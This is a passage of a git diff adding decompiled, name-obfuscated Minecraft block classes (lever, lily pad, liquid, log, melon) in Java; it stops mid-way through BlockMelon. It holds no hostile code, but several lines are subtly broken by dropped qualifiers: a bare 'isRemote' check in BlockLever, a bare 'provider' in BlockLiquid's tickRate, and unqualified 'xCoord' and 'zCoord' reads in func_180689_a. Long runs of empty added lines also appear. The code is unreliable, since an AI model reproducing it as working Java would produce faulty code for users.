+      setBlockBounds(0.5F - var3, 0.2F, 1.0F - var3 * 2.0F, 0.5F + var3, 0.8F, 1.0F);
+      break;
+    
+    case 5: 
+    case 6: 
+      var3 = 0.25F;
+      setBlockBounds(0.5F - var3, 0.0F, 0.5F - var3, 0.5F + var3, 0.6F, 0.5F + var3);
+      break;
+    
+    case 7: 
+    case 8: 
+      var3 = 0.25F;
+      setBlockBounds(0.5F - var3, 0.4F, 0.5F - var3, 0.5F + var3, 1.0F, 0.5F + var3);
+    }
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (isRemote)
+    {
+      return true;
+    }
+    
+
+    state = state.cycleProperty(POWERED);
+    worldIn.setBlockState(pos, state, 3);
+    worldIn.playSoundEffect(pos.getX() + 0.5D, pos.getY() + 0.5D, pos.getZ() + 0.5D, "random.click", 0.3F, ((Boolean)state.getValue(POWERED)).booleanValue() ? 0.6F : 0.5F);
+    worldIn.notifyNeighborsOfStateChange(pos, this);
+    EnumFacing var9 = ((EnumOrientation)state.getValue(FACING)).func_176852_c();
+    worldIn.notifyNeighborsOfStateChange(pos.offset(var9.getOpposite()), this);
+    return true;
+  }
+  
+
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    if (((Boolean)state.getValue(POWERED)).booleanValue())
+    {
+      worldIn.notifyNeighborsOfStateChange(pos, this);
+      EnumFacing var4 = ((EnumOrientation)state.getValue(FACING)).func_176852_c();
+      worldIn.notifyNeighborsOfStateChange(pos.offset(var4.getOpposite()), this);
+    }
+    
+    super.breakBlock(worldIn, pos, state);
+  }
+  
+  public int isProvidingWeakPower(IBlockAccess worldIn, BlockPos pos, IBlockState state, EnumFacing side)
+  {
+    return ((Boolean)state.getValue(POWERED)).booleanValue() ? 15 : 0;
+  }
+  
+  public int isProvidingStrongPower(IBlockAccess worldIn, BlockPos pos, IBlockState state, EnumFacing side)
+  {
+    return ((EnumOrientation)state.getValue(FACING)).func_176852_c() == side ? 15 : !((Boolean)state.getValue(POWERED)).booleanValue() ? 0 : 0;
+  }
+  
+
+
+
+  public boolean canProvidePower()
+  {
+    return true;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(FACING, EnumOrientation.func_176853_a(meta & 0x7)).withProperty(POWERED, Boolean.valueOf((meta & 0x8) > 0));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((EnumOrientation)state.getValue(FACING)).func_176855_a();
+    
+    if (((Boolean)state.getValue(POWERED)).booleanValue())
+    {
+      var3 |= 0x8;
+    }
+    
+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { FACING, POWERED });
+  }
+  
+  public static enum EnumOrientation implements IStringSerializable
+  {
+    DOWN_X("DOWN_X", 0, 0, "down_x", EnumFacing.DOWN), 
+    EAST("EAST", 1, 1, "east", EnumFacing.EAST), 
+    WEST("WEST", 2, 2, "west", EnumFacing.WEST), 
+    SOUTH("SOUTH", 3, 3, "south", EnumFacing.SOUTH), 
+    NORTH("NORTH", 4, 4, "north", EnumFacing.NORTH), 
+    UP_Z("UP_Z", 5, 5, "up_z", EnumFacing.UP), 
+    UP_X("UP_X", 6, 6, "up_x", EnumFacing.UP), 
+    DOWN_Z("DOWN_Z", 7, 7, "down_z", EnumFacing.DOWN);
+    
+    private static final EnumOrientation[] field_176869_i;
+    private final int field_176866_j;
+    private final String field_176867_k;
+    private final EnumFacing field_176864_l;
+    private static final EnumOrientation[] $VALUES;
+    private static final String __OBFID = "CL_00002102";
+    
+    private EnumOrientation(String p_i45709_1_, int p_i45709_2_, int p_i45709_3_, String p_i45709_4_, EnumFacing p_i45709_5_)
+    {
+      field_176866_j = p_i45709_3_;
+      field_176867_k = p_i45709_4_;
+      field_176864_l = p_i45709_5_;
+    }
+    
+    public int func_176855_a()
+    {
+      return field_176866_j;
+    }
+    
+    public EnumFacing func_176852_c()
+    {
+      return field_176864_l;
+    }
+    
+    public String toString()
+    {
+      return field_176867_k;
+    }
+    
+    public static EnumOrientation func_176853_a(int p_176853_0_)
+    {
+      if ((p_176853_0_ < 0) || (p_176853_0_ >= field_176869_i.length))
+      {
+        p_176853_0_ = 0;
+      }
+      
+      return field_176869_i[p_176853_0_];
+    }
+    
+    public static EnumOrientation func_176856_a(EnumFacing p_176856_0_, EnumFacing p_176856_1_)
+    {
+      switch (BlockLever.SwitchEnumFacing.FACING_LOOKUP[p_176856_0_.ordinal()])
+      {
+      case 1: 
+        switch (BlockLever.SwitchEnumFacing.AXIS_LOOKUP[p_176856_1_.getAxis().ordinal()])
+        {
+        case 1: 
+          return DOWN_X;
+        
+        case 2: 
+          return DOWN_Z;
+        }
+        
+        throw new IllegalArgumentException("Invalid entityFacing " + p_176856_1_ + " for facing " + p_176856_0_);
+      
+
+      case 2: 
+        switch (BlockLever.SwitchEnumFacing.AXIS_LOOKUP[p_176856_1_.getAxis().ordinal()])
+        {
+        case 1: 
+          return UP_X;
+        
+        case 2: 
+          return UP_Z;
+        }
+        
+        throw new IllegalArgumentException("Invalid entityFacing " + p_176856_1_ + " for facing " + p_176856_0_);
+      
+
+      case 3: 
+        return NORTH;
+      
+      case 4: 
+        return SOUTH;
+      
+      case 5: 
+        return WEST;
+      
+      case 6: 
+        return EAST;
+      }
+      
+      throw new IllegalArgumentException("Invalid facing: " + p_176856_0_);
+    }
+    
+
+    public String getName()
+    {
+      return field_176867_k;
+    }
+    
+    static
+    {
+      field_176869_i = new EnumOrientation[values().length];
+      
+
+
+
+      $VALUES = new EnumOrientation[] { DOWN_X, EAST, WEST, SOUTH, NORTH, UP_Z, UP_X, DOWN_Z };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      EnumOrientation[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        EnumOrientation var3 = var0[var2];
+        field_176869_i[var3.func_176855_a()] = var3;
+      }
+    }
+  }
+  
+
+  static final class SwitchEnumFacing
+  {
+    static final int[] FACING_LOOKUP;
+    
+    static final int[] ORIENTATION_LOOKUP;
+    static final int[] AXIS_LOOKUP = new int[EnumFacing.Axis.values().length];
+    private static final String __OBFID = "CL_00002103";
+    
+    static
+    {
+      try
+      {
+        AXIS_LOOKUP[EnumFacing.Axis.X.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        AXIS_LOOKUP[EnumFacing.Axis.Z.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      ORIENTATION_LOOKUP = new int[BlockLever.EnumOrientation.values().length];
+      
+      try
+      {
+        ORIENTATION_LOOKUP[BlockLever.EnumOrientation.EAST.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        ORIENTATION_LOOKUP[BlockLever.EnumOrientation.WEST.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        ORIENTATION_LOOKUP[BlockLever.EnumOrientation.SOUTH.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        ORIENTATION_LOOKUP[BlockLever.EnumOrientation.NORTH.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+      
+
+
+
+      try
+      {
+        ORIENTATION_LOOKUP[BlockLever.EnumOrientation.UP_Z.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError7) {}
+      
+
+
+
+      try
+      {
+        ORIENTATION_LOOKUP[BlockLever.EnumOrientation.UP_X.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError8) {}
+      
+
+
+
+      try
+      {
+        ORIENTATION_LOOKUP[BlockLever.EnumOrientation.DOWN_X.ordinal()] = 7;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError9) {}
+      
+
+
+
+      try
+      {
+        ORIENTATION_LOOKUP[BlockLever.EnumOrientation.DOWN_Z.ordinal()] = 8;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError10) {}
+      
+
+
+
+      FACING_LOOKUP = new int[EnumFacing.values().length];
+      
+      try
+      {
+        FACING_LOOKUP[EnumFacing.DOWN.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError11) {}
+      
+
+
+
+      try
+      {
+        FACING_LOOKUP[EnumFacing.UP.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError12) {}
+      
+
+
+
+      try
+      {
+        FACING_LOOKUP[EnumFacing.NORTH.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError13) {}
+      
+
+
+
+      try
+      {
+        FACING_LOOKUP[EnumFacing.SOUTH.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError14) {}
+      
+
+
+
+      try
+      {
+        FACING_LOOKUP[EnumFacing.WEST.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError15) {}
+      
+
+
+
+      try
+      {
+        FACING_LOOKUP[EnumFacing.EAST.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError16) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockLilyPad.java b/src/minecraft/net/minecraft/block/BlockLilyPad.java
new file mode 100644
index 0000000..bb40fe1
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockLilyPad.java
@@ -0,0 +1,88 @@
+package net.minecraft.block;
+
+import java.util.List;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.item.EntityBoat;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockLilyPad extends BlockBush
+{
+  private static final String __OBFID = "CL_00000332";
+  
+  protected BlockLilyPad()
+  {
+    float var1 = 0.5F;
+    float var2 = 0.015625F;
+    setBlockBounds(0.5F - var1, 0.0F, 0.5F - var1, 0.5F + var1, var2, 0.5F + var1);
+    setCreativeTab(CreativeTabs.tabDecorations);
+  }
+  
+
+
+
+
+
+  public void addCollisionBoxesToList(World worldIn, BlockPos pos, IBlockState state, AxisAlignedBB mask, List list, Entity collidingEntity)
+  {
+    if ((collidingEntity == null) || (!(collidingEntity instanceof EntityBoat)))
+    {
+      super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+    }
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    return new AxisAlignedBB(pos.getX() + minX, pos.getY() + minY, pos.getZ() + minZ, pos.getX() + maxX, pos.getY() + maxY, pos.getZ() + maxZ);
+  }
+  
+  public int getBlockColor()
+  {
+    return 7455580;
+  }
+  
+  public int getRenderColor(IBlockState state)
+  {
+    return 7455580;
+  }
+  
+  public int colorMultiplier(IBlockAccess worldIn, BlockPos pos, int renderPass)
+  {
+    return 2129968;
+  }
+  
+
+
+
+  protected boolean canPlaceBlockOn(Block ground)
+  {
+    return ground == Blocks.water;
+  }
+  
+  public boolean canBlockStay(World worldIn, BlockPos p_180671_2_, IBlockState p_180671_3_)
+  {
+    if ((p_180671_2_.getY() >= 0) && (p_180671_2_.getY() < 256))
+    {
+      IBlockState var4 = worldIn.getBlockState(p_180671_2_.offsetDown());
+      return (var4.getBlock().getMaterial() == Material.water) && (((Integer)var4.getValue(BlockLiquid.LEVEL)).intValue() == 0);
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return 0;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockLiquid.java b/src/minecraft/net/minecraft/block/BlockLiquid.java
new file mode 100644
index 0000000..e86b2cd
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockLiquid.java
@@ -0,0 +1,418 @@
+package net.minecraft.block;
+
+import java.util.Iterator;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.PropertyInteger;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldProvider;
+
+public abstract class BlockLiquid extends Block
+{
+  public static final PropertyInteger LEVEL = PropertyInteger.create("level", 0, 15);
+  private static final String __OBFID = "CL_00000265";
+  
+  protected BlockLiquid(Material p_i45413_1_)
+  {
+    super(p_i45413_1_);
+    setDefaultState(blockState.getBaseState().withProperty(LEVEL, Integer.valueOf(0)));
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+    setTickRandomly(true);
+  }
+  
+  public boolean isPassable(IBlockAccess blockAccess, BlockPos pos)
+  {
+    return blockMaterial != Material.lava;
+  }
+  
+  public int colorMultiplier(IBlockAccess worldIn, BlockPos pos, int renderPass)
+  {
+    return blockMaterial == Material.water ? net.minecraft.world.biome.BiomeColorHelper.func_180288_c(worldIn, pos) : 16777215;
+  }
+  
+
+
+
+  public static float getLiquidHeightPercent(int p_149801_0_)
+  {
+    if (p_149801_0_ >= 8)
+    {
+      p_149801_0_ = 0;
+    }
+    
+    return (p_149801_0_ + 1) / 9.0F;
+  }
+  
+  protected int func_176362_e(IBlockAccess p_176362_1_, BlockPos p_176362_2_)
+  {
+    return p_176362_1_.getBlockState(p_176362_2_).getBlock().getMaterial() == blockMaterial ? ((Integer)p_176362_1_.getBlockState(p_176362_2_).getValue(LEVEL)).intValue() : -1;
+  }
+  
+  protected int func_176366_f(IBlockAccess p_176366_1_, BlockPos p_176366_2_)
+  {
+    int var3 = func_176362_e(p_176366_1_, p_176366_2_);
+    return var3 >= 8 ? 0 : var3;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean canCollideCheck(IBlockState state, boolean p_176209_2_)
+  {
+    return (p_176209_2_) && (((Integer)state.getValue(LEVEL)).intValue() == 0);
+  }
+  
+
+
+
+  public boolean isBlockSolid(IBlockAccess worldIn, BlockPos pos, EnumFacing side)
+  {
+    Material var4 = worldIn.getBlockState(pos).getBlock().getMaterial();
+    return var4 == Material.ice ? false : side == EnumFacing.UP ? true : var4 == blockMaterial ? false : super.isBlockSolid(worldIn, pos, side);
+  }
+  
+  public boolean shouldSideBeRendered(IBlockAccess worldIn, BlockPos pos, EnumFacing side)
+  {
+    return side == EnumFacing.UP ? true : worldIn.getBlockState(pos).getBlock().getMaterial() == blockMaterial ? false : super.shouldSideBeRendered(worldIn, pos, side);
+  }
+  
+  public boolean func_176364_g(IBlockAccess p_176364_1_, BlockPos p_176364_2_)
+  {
+    for (int var3 = -1; var3 <= 1; var3++)
+    {
+      for (int var4 = -1; var4 <= 1; var4++)
+      {
+        IBlockState var5 = p_176364_1_.getBlockState(p_176364_2_.add(var3, 0, var4));
+        Block var6 = var5.getBlock();
+        Material var7 = var6.getMaterial();
+        
+        if ((var7 != blockMaterial) && (!var6.isFullBlock()))
+        {
+          return true;
+        }
+      }
+    }
+    
+    return false;
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    return null;
+  }
+  
+
+
+
+  public int getRenderType()
+  {
+    return 1;
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return null;
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return 0;
+  }
+  
+  protected Vec3 func_180687_h(IBlockAccess p_180687_1_, BlockPos p_180687_2_)
+  {
+    Vec3 var3 = new Vec3(0.0D, 0.0D, 0.0D);
+    int var4 = func_176366_f(p_180687_1_, p_180687_2_);
+    Iterator var5 = EnumFacing.Plane.HORIZONTAL.iterator();
+    
+
+
+    while (var5.hasNext())
+    {
+      EnumFacing var6 = (EnumFacing)var5.next();
+      BlockPos var7 = p_180687_2_.offset(var6);
+      int var8 = func_176366_f(p_180687_1_, var7);
+      
+
+      if (var8 < 0)
+      {
+        if (!p_180687_1_.getBlockState(var7).getBlock().getMaterial().blocksMovement())
+        {
+          var8 = func_176366_f(p_180687_1_, var7.offsetDown());
+          
+          if (var8 >= 0)
+          {
+            int var9 = var8 - (var4 - 8);
+            var3 = var3.addVector((var7.getX() - p_180687_2_.getX()) * var9, (var7.getY() - p_180687_2_.getY()) * var9, (var7.getZ() - p_180687_2_.getZ()) * var9);
+          }
+        }
+      }
+      else if (var8 >= 0)
+      {
+        int var9 = var8 - var4;
+        var3 = var3.addVector((var7.getX() - p_180687_2_.getX()) * var9, (var7.getY() - p_180687_2_.getY()) * var9, (var7.getZ() - p_180687_2_.getZ()) * var9);
+      }
+    }
+    
+    if (((Integer)p_180687_1_.getBlockState(p_180687_2_).getValue(LEVEL)).intValue() >= 8)
+    {
+      var5 = EnumFacing.Plane.HORIZONTAL.iterator();
+      
+      while (var5.hasNext())
+      {
+        EnumFacing var6 = (EnumFacing)var5.next();
+        BlockPos var7 = p_180687_2_.offset(var6);
+        
+        if ((isBlockSolid(p_180687_1_, var7, var6)) || (isBlockSolid(p_180687_1_, var7.offsetUp(), var6)))
+        {
+          var3 = var3.normalize().addVector(0.0D, -6.0D, 0.0D);
+          break;
+        }
+      }
+    }
+    
+    return var3.normalize();
+  }
+  
+  public Vec3 modifyAcceleration(World worldIn, BlockPos pos, Entity entityIn, Vec3 motion)
+  {
+    return motion.add(func_180687_h(worldIn, pos));
+  }
+  
+
+
+
+  public int tickRate(World worldIn)
+  {
+    return blockMaterial == Material.lava ? 30 : provider.getHasNoSky() ? 10 : blockMaterial == Material.water ? 5 : 0;
+  }
+  
+  public int getMixedBrightnessForBlock(IBlockAccess worldIn, BlockPos pos)
+  {
+    int var3 = worldIn.getCombinedLight(pos, 0);
+    int var4 = worldIn.getCombinedLight(pos.offsetUp(), 0);
+    int var5 = var3 & 0xFF;
+    int var6 = var4 & 0xFF;
+    int var7 = var3 >> 16 & 0xFF;
+    int var8 = var4 >> 16 & 0xFF;
+    return (var5 > var6 ? var5 : var6) | (var7 > var8 ? var7 : var8) << 16;
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return blockMaterial == Material.water ? EnumWorldBlockLayer.TRANSLUCENT : EnumWorldBlockLayer.SOLID;
+  }
+  
+  public void randomDisplayTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    double var5 = pos.getX();
+    double var7 = pos.getY();
+    double var9 = pos.getZ();
+    
+    if (blockMaterial == Material.water)
+    {
+      int var11 = ((Integer)state.getValue(LEVEL)).intValue();
+      
+      if ((var11 > 0) && (var11 < 8))
+      {
+        if (rand.nextInt(64) == 0)
+        {
+          worldIn.playSound(var5 + 0.5D, var7 + 0.5D, var9 + 0.5D, "liquid.water", rand.nextFloat() * 0.25F + 0.75F, rand.nextFloat() * 1.0F + 0.5F, false);
+        }
+      }
+      else if (rand.nextInt(10) == 0)
+      {
+        worldIn.spawnParticle(EnumParticleTypes.SUSPENDED, var5 + rand.nextFloat(), var7 + rand.nextFloat(), var9 + rand.nextFloat(), 0.0D, 0.0D, 0.0D, new int[0]);
+      }
+    }
+    
+    if ((blockMaterial == Material.lava) && (worldIn.getBlockState(pos.offsetUp()).getBlock().getMaterial() == Material.air) && (!worldIn.getBlockState(pos.offsetUp()).getBlock().isOpaqueCube()))
+    {
+      if (rand.nextInt(100) == 0)
+      {
+        double var18 = var5 + rand.nextFloat();
+        double var13 = var7 + maxY;
+        double var15 = var9 + rand.nextFloat();
+        worldIn.spawnParticle(EnumParticleTypes.LAVA, var18, var13, var15, 0.0D, 0.0D, 0.0D, new int[0]);
+        worldIn.playSound(var18, var13, var15, "liquid.lavapop", 0.2F + rand.nextFloat() * 0.2F, 0.9F + rand.nextFloat() * 0.15F, false);
+      }
+      
+      if (rand.nextInt(200) == 0)
+      {
+        worldIn.playSound(var5, var7, var9, "liquid.lava", 0.2F + rand.nextFloat() * 0.2F, 0.9F + rand.nextFloat() * 0.15F, false);
+      }
+    }
+    
+    if ((rand.nextInt(10) == 0) && (World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetDown())))
+    {
+      Material var19 = worldIn.getBlockState(pos.offsetDown(2)).getBlock().getMaterial();
+      
+      if ((!var19.blocksMovement()) && (!var19.isLiquid()))
+      {
+        double var12 = var5 + rand.nextFloat();
+        double var14 = var7 - 1.05D;
+        double var16 = var9 + rand.nextFloat();
+        
+        if (blockMaterial == Material.water)
+        {
+          worldIn.spawnParticle(EnumParticleTypes.DRIP_WATER, var12, var14, var16, 0.0D, 0.0D, 0.0D, new int[0]);
+        }
+        else
+        {
+          worldIn.spawnParticle(EnumParticleTypes.DRIP_LAVA, var12, var14, var16, 0.0D, 0.0D, 0.0D, new int[0]);
+        }
+      }
+    }
+  }
+  
+  public static double func_180689_a(IBlockAccess p_180689_0_, BlockPos p_180689_1_, Material p_180689_2_)
+  {
+    Vec3 var3 = getDynamicLiquidForMaterial(p_180689_2_).func_180687_h(p_180689_0_, p_180689_1_);
+    return (xCoord == 0.0D) && (zCoord == 0.0D) ? -1000.0D : Math.atan2(zCoord, xCoord) - 1.5707963267948966D;
+  }
+  
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    func_176365_e(worldIn, pos, state);
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    func_176365_e(worldIn, pos, state);
+  }
+  
+  public boolean func_176365_e(World worldIn, BlockPos p_176365_2_, IBlockState p_176365_3_)
+  {
+    if (blockMaterial == Material.lava)
+    {
+      boolean var4 = false;
+      EnumFacing[] var5 = EnumFacing.values();
+      int var6 = var5.length;
+      
+      for (int var7 = 0; var7 < var6; var7++)
+      {
+        EnumFacing var8 = var5[var7];
+        
+        if ((var8 != EnumFacing.DOWN) && (worldIn.getBlockState(p_176365_2_.offset(var8)).getBlock().getMaterial() == Material.water))
+        {
+          var4 = true;
+          break;
+        }
+      }
+      
+      if (var4)
+      {
+        Integer var9 = (Integer)p_176365_3_.getValue(LEVEL);
+        
+        if (var9.intValue() == 0)
+        {
+          worldIn.setBlockState(p_176365_2_, Blocks.obsidian.getDefaultState());
+          func_180688_d(worldIn, p_176365_2_);
+          return true;
+        }
+        
+        if (var9.intValue() <= 4)
+        {
+          worldIn.setBlockState(p_176365_2_, Blocks.cobblestone.getDefaultState());
+          func_180688_d(worldIn, p_176365_2_);
+          return true;
+        }
+      }
+    }
+    
+    return false;
+  }
+  
+  protected void func_180688_d(World worldIn, BlockPos p_180688_2_)
+  {
+    double var3 = p_180688_2_.getX();
+    double var5 = p_180688_2_.getY();
+    double var7 = p_180688_2_.getZ();
+    worldIn.playSoundEffect(var3 + 0.5D, var5 + 0.5D, var7 + 0.5D, "random.fizz", 0.5F, 2.6F + (rand.nextFloat() - rand.nextFloat()) * 0.8F);
+    
+    for (int var9 = 0; var9 < 8; var9++)
+    {
+      worldIn.spawnParticle(EnumParticleTypes.SMOKE_LARGE, var3 + Math.random(), var5 + 1.2D, var7 + Math.random(), 0.0D, 0.0D, 0.0D, new int[0]);
+    }
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(LEVEL, Integer.valueOf(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((Integer)state.getValue(LEVEL)).intValue();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new net.minecraft.block.properties.IProperty[] { LEVEL });
+  }
+  
+  public static BlockDynamicLiquid getDynamicLiquidForMaterial(Material p_176361_0_)
+  {
+    if (p_176361_0_ == Material.water)
+    {
+      return Blocks.flowing_water;
+    }
+    if (p_176361_0_ == Material.lava)
+    {
+      return Blocks.flowing_lava;
+    }
+    
+
+    throw new IllegalArgumentException("Invalid material");
+  }
+  
+
+  public static BlockStaticLiquid getStaticLiquidForMaterial(Material p_176363_0_)
+  {
+    if (p_176363_0_ == Material.water)
+    {
+      return Blocks.water;
+    }
+    if (p_176363_0_ == Material.lava)
+    {
+      return Blocks.lava;
+    }
+    
+
+    throw new IllegalArgumentException("Invalid material");
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockLog.java b/src/minecraft/net/minecraft/block/BlockLog.java
new file mode 100644
index 0000000..7abbd47
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockLog.java
@@ -0,0 +1,133 @@
+package net.minecraft.block;
+
+import java.util.Iterator;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.world.World;
+
+public abstract class BlockLog extends BlockRotatedPillar
+{
+  public static final PropertyEnum AXIS_PROP = PropertyEnum.create("axis", EnumAxis.class);
+  private static final String __OBFID = "CL_00000266";
+  
+  public BlockLog()
+  {
+    super(Material.wood);
+    setCreativeTab(CreativeTabs.tabBlock);
+    setHardness(2.0F);
+    setStepSound(soundTypeWood);
+  }
+  
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    byte var4 = 4;
+    int var5 = var4 + 1;
+    
+    if (worldIn.isAreaLoaded(pos.add(-var5, -var5, -var5), pos.add(var5, var5, var5)))
+    {
+      Iterator var6 = BlockPos.getAllInBox(pos.add(-var4, -var4, -var4), pos.add(var4, var4, var4)).iterator();
+      
+      while (var6.hasNext())
+      {
+        BlockPos var7 = (BlockPos)var6.next();
+        IBlockState var8 = worldIn.getBlockState(var7);
+        
+        if ((var8.getBlock().getMaterial() == Material.leaves) && (!((Boolean)var8.getValue(BlockLeaves.field_176236_b)).booleanValue()))
+        {
+          worldIn.setBlockState(var7, var8.withProperty(BlockLeaves.field_176236_b, Boolean.valueOf(true)), 4);
+        }
+      }
+    }
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    return super.onBlockPlaced(worldIn, pos, facing, hitX, hitY, hitZ, meta, placer).withProperty(AXIS_PROP, EnumAxis.func_176870_a(facing.getAxis()));
+  }
+  
+  public static enum EnumAxis implements net.minecraft.util.IStringSerializable
+  {
+    X("X", 0, "x"), 
+    Y("Y", 1, "y"), 
+    Z("Z", 2, "z"), 
+    NONE("NONE", 3, "none");
+    
+    private final String field_176874_e;
+    private static final EnumAxis[] $VALUES = { X, Y, Z, NONE };
+    private static final String __OBFID = "CL_00002100";
+    
+    private EnumAxis(String p_i45708_1_, int p_i45708_2_, String p_i45708_3_)
+    {
+      field_176874_e = p_i45708_3_;
+    }
+    
+    public String toString()
+    {
+      return field_176874_e;
+    }
+    
+    public static EnumAxis func_176870_a(EnumFacing.Axis p_176870_0_)
+    {
+      switch (BlockLog.SwitchAxis.field_180167_a[p_176870_0_.ordinal()])
+      {
+      case 1: 
+        return X;
+      
+      case 2: 
+        return Y;
+      
+      case 3: 
+        return Z;
+      }
+      
+      return NONE;
+    }
+    
+
+    public String getName()
+    {
+      return field_176874_e;
+    }
+  }
+  
+  static final class SwitchAxis
+  {
+    static final int[] field_180167_a = new int[EnumFacing.Axis.values().length];
+    private static final String __OBFID = "CL_00002101";
+    
+    static
+    {
+      try
+      {
+        field_180167_a[EnumFacing.Axis.X.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_180167_a[EnumFacing.Axis.Y.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_180167_a[EnumFacing.Axis.Z.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+    }
+    
+    SwitchAxis() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockMelon.java b/src/minecraft/net/minecraft/block/BlockMelon.java
new file mode 100644
index 0000000..326b456
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockMelon.java
@@ -0,0 +1,45 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+
+public class BlockMelon extends Block
+{
+  private static final String __OBFID = "CL_00000267";
+  
+  protected BlockMelon()
+  {
+    super(Material.gourd);
